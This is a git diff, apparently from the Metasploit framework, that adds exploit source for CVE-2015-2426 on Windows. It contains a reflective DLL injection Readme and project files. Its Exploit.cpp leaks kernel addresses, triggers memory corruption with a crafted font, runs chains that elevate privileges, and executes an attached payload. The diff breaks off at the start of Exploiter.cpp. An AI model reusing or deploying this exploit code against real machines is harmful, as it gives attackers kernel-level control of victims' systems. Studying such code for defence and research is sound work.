zcm@X6GjL=x6}Zyi?*PxkrFG(i?|sZ;!(qQ2n2*6r@zWrF9*%700l$MoJa(Z4#DecV zix9vUco=R@lq56)<FH96hCCklBpk`704r>QupDy2({PlbFM#hx3c_B<*8|VPk^Dzs zOcdwwzy}PT1zgn0&U07M35O{-3Qz|e8O`}5;D-j^0`$d>BnY3666V5D$tD4B#tOnA zBzy<hFOHY82>4xRLAVBa6Hw^F<%AExQP=`INRgqa12!4_3b3{-PwW^_!@i~~5*E5) z1%soE5*8Yq@DdzF`Xg{1_B4gCUk{8+GD;83gQF%Od>$Jb`*Ik~1Gx%E)!PF60loSH z<UayG=!K0s_(tHjy)hBPrU@91rQZYG20RAm3r<*v55*4QZ=MJf`wBuB<VnCaaPi>& z>8K$%%0yN={_0~1JX9LOMg2Ih0)A-lEx=O-Cww?d5SCEY0Y5YNF<^eSAqQ5#QB4ri zib<Ss%>Y42K_)f=Ti~Wf+fibW**Uzb=Kxa&3PJ&l(txkQQLStTt{a5UX~DMutq<~= z2m<zks~~&eb8u9$Q^0T;H34}6kik(QmjmC*#kD!)HNc&A{6hh1fxp91POkww3`T|^ z_XqZXBb%wf)!40Nf#X;voPyI61J23k2@w7THx*5A1GwlRUa$(_(*?K*pm>0>*xnU^ z+v7o|4#RLF1u$eJat)pYJPRivLxkf-@dOHiM-8q5w~yv>!fSApA;PD|2!b~i2Do?} z&qNY-bnn8&L%ts9IUem#CAN*nLk^q_UI3f|R{&lFoB=l+ycD<)ZZtR!qe56AuPwqn zI7*msD;!nzcHmD2AN>U83AnM4tH9g|+$L{=T@WHB@;0^scf(PJP62N{2|4&3VCrO^ zKo0OVgRcU{KE*p-Jn%6%%EVY;Gu%9cEu4bynx^3t4c-XcUW5q>oN(|AY{2dC<bfQR ziRuGC1k8F4?F3FZ8IB^I0&FmNBhbH?mw>PmjymZo;EUMJhT(51%79B};s3q^UIn}Z zN5hryZ=CZ;egkO7d0v<b4`I%H^aJoh;AXh>;9Gz%VXwLcyaM<%YV0idRN%Omkcn8> z1K)#-2VW12s^GO44O|Q-L%swU?L@7B6P|#Z8jJb=6iCiuUdkfiHaP0N+krO?eh2un z!b@2N{C){Chls8K2UhYqzYrL=6yqK8cwjT!A+iCkdzoiwJ@7j?>L0kbz<5R}sCtDe zyv4#@L4XXP*DI(lWWpQxIovhKi<Y6iSE70$j|X0Slk+BE_Bu2h<T=18a1;;Wzu{<Z zP=PBqAk(lRd}SjRHt^+k5M>k6hi3`!*UfzTYysAPh-nz|L%<tbkO^>Mt01g^qZ+CK zHo;8-SAkD`#O3pVZ*9l$!(O-s81gZfhXMb!1I++=74VClX#W&=h^(&VRa66<whKcJ z@*-f|ZY((9@j#b77((E#zzd(k9=rueXZW$`6NKXpPDqDrk`vOQoH!w!s)+;9{)UI} zSA**Z;|6X-hu&y|6ZSVa;TVGx(wUATC8YD5o*3|BgA<-GI3b;!#>OB35jrSQ075$O z5GPFJyn0P1>H1Ee{*sT$qbs`2+09LxtA80NMMPp2_7-dqdDH~e#Mh+N$Tg#Drqs-- UnX|ccbH(PW%{wRMNUO~M3n2QvKL7v# diff --git a/external/source/exploits/CVE-2015-2426/.gitignore b/external/source/exploits/CVE-2015-2426/.gitignore new file mode 100755 index 0000000000..36cde865e0 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/.gitignore @@ -0,0 +1,17 @@ +Release/ +Debug/ +x64/ +dll/Release/ +dll/Debug/ +dll/reflective_dll.vcproj.*.user +dll/reflective_dll.vcxproj.user +inject/Release/ +inject/Debug/ +inject/inject.vcproj.*.user +inject/inject.vcxproj.user +*.ncb +*.suo +*.sdf +*.opensdf +*.suo +bin/ diff --git a/external/source/exploits/CVE-2015-2426/LICENSE.txt b/external/source/exploits/CVE-2015-2426/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/Readme.md b/external/source/exploits/CVE-2015-2426/Readme.md new file mode 100755 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h b/external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..4ae206b549 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..eec2e10acc --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj @@ -0,0 +1,273 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|ARM"> + <Configuration>Debug</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|ARM"> + <Configuration>Release</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid> + <RootNamespace>reflective_dll</RootNamespace> + <Keyword>Win32Proj</Keyword> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>false</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup> + <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <TargetMachine>MachineX86</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <TargetMachine>MachineX64</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX86</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <ClCompile> + <Optimization>MinSpace</Optimization> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <BufferSecurityCheck>true</BufferSecurityCheck> + <CompileAs>Default</CompileAs> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <IntrinsicFunctions>true</IntrinsicFunctions> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <WholeProgramOptimization>false</WholeProgramOptimization> + <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + <CompileAs>CompileAsCpp</CompileAs> + </ClCompile> + <Link> + <OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX64</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="src\Exploit.cpp" /> + <ClCompile Include="src\Exploiter.cpp" /> + <ClCompile Include="src\FontData.cpp" /> + <ClCompile Include="src\ReflectiveDll.c" /> + <ClCompile Include="src\ReflectiveLoader.c" /> + <ClCompile Include="src\Win32kLeaker.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\common\ReflectiveDLLInjection.h" /> + <ClInclude Include="src\Exploit.h" /> + <ClInclude Include="src\Exploiter.h" /> + <ClInclude Include="src\FontData.h" /> + <ClInclude Include="src\ReflectiveLoader.h" /> + <ClInclude Include="src\Win32kLeaker.h" /> + </ItemGroup> + <ItemGroup> + <MASM Include="src\MySyscalls.asm" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..c030e8159c --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,58 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="src\ReflectiveDll.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\ReflectiveLoader.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\Exploit.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\Win32kLeaker.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\Exploiter.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\FontData.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="src\ReflectiveLoader.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="..\common\ReflectiveDLLInjection.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\FontData.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\Exploiter.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\Exploit.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\Win32kLeaker.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <MASM Include="src\MySyscalls.asm"> + <Filter>Source Files</Filter> + </MASM> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp new file mode 100755 index 0000000000..fda42db885 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp @@ -0,0 +1,57 @@ +// Exploit.cpp : Defines the entry point for the console application. +// +#include <Windows.h> + +#include "Exploit.h" +#include "Win32kLeaker.h" +#include "Exploiter.h" +#include "FontData.h" + +static VOID ExecutePayload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return; +} + +VOID Exploit(LPVOID lpPayload) +{ + // Variables. + DWORD cFonts; + PVOID pFontData = (PVOID)fontData; + DWORD ExAllocatePoolWithTag_offset; + ULONGLONG win32kBaseAddr; + ULONGLONG ntBaseAddr; + + ExploiterInit(); + + // Leak the win32k base address. + win32kBaseAddr = LeakWin32kAddress(); + if (win32kBaseAddr == NULL) { + return; + } + + ExploiterSetupFirstChain(win32kBaseAddr); + ExploiterDoFengShui(); + + // Trigger the memory corruption: Render the font and cause memory overwrite. + cFonts = 0; + HANDLE fh = AddFontMemResourceEx(pFontData, sizeof(fontData), 0, &cFonts); + // Clean up: remove the font from memory. + RemoveFontMemResourceEx(fh); + + // First Stage: Leak ntoskrnl + ExploiterRunFirstChain(); + // Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`. + ExAllocatePoolWithTag_offset = 0x2a3a50; + ntBaseAddr = *(ULONGLONG *)(PayloadBase + 0x100) - ExAllocatePoolWithTag_offset; + + // Second Stage: elevate privileges + ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr); + ExploiterRunSecondChain(); + ExpoiterCleanUp(); + + // Exetue msf payload + ExecutePayload(lpPayload); +} + diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploit.h b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.h new file mode 100755 index 0000000000..d7f841ad88 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.h @@ -0,0 +1,5 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +VOID Exploit(LPVOID lpPayload); +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp new file mode 100755 index 0000000000..1bd55ee3de --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp @@ -0,0 +1,298 @@ +#include <Windows.h> +#include "Exploiter.h" + +static const int AccelArrayBase = 0x43000000; +static const int HwndArrayBase = 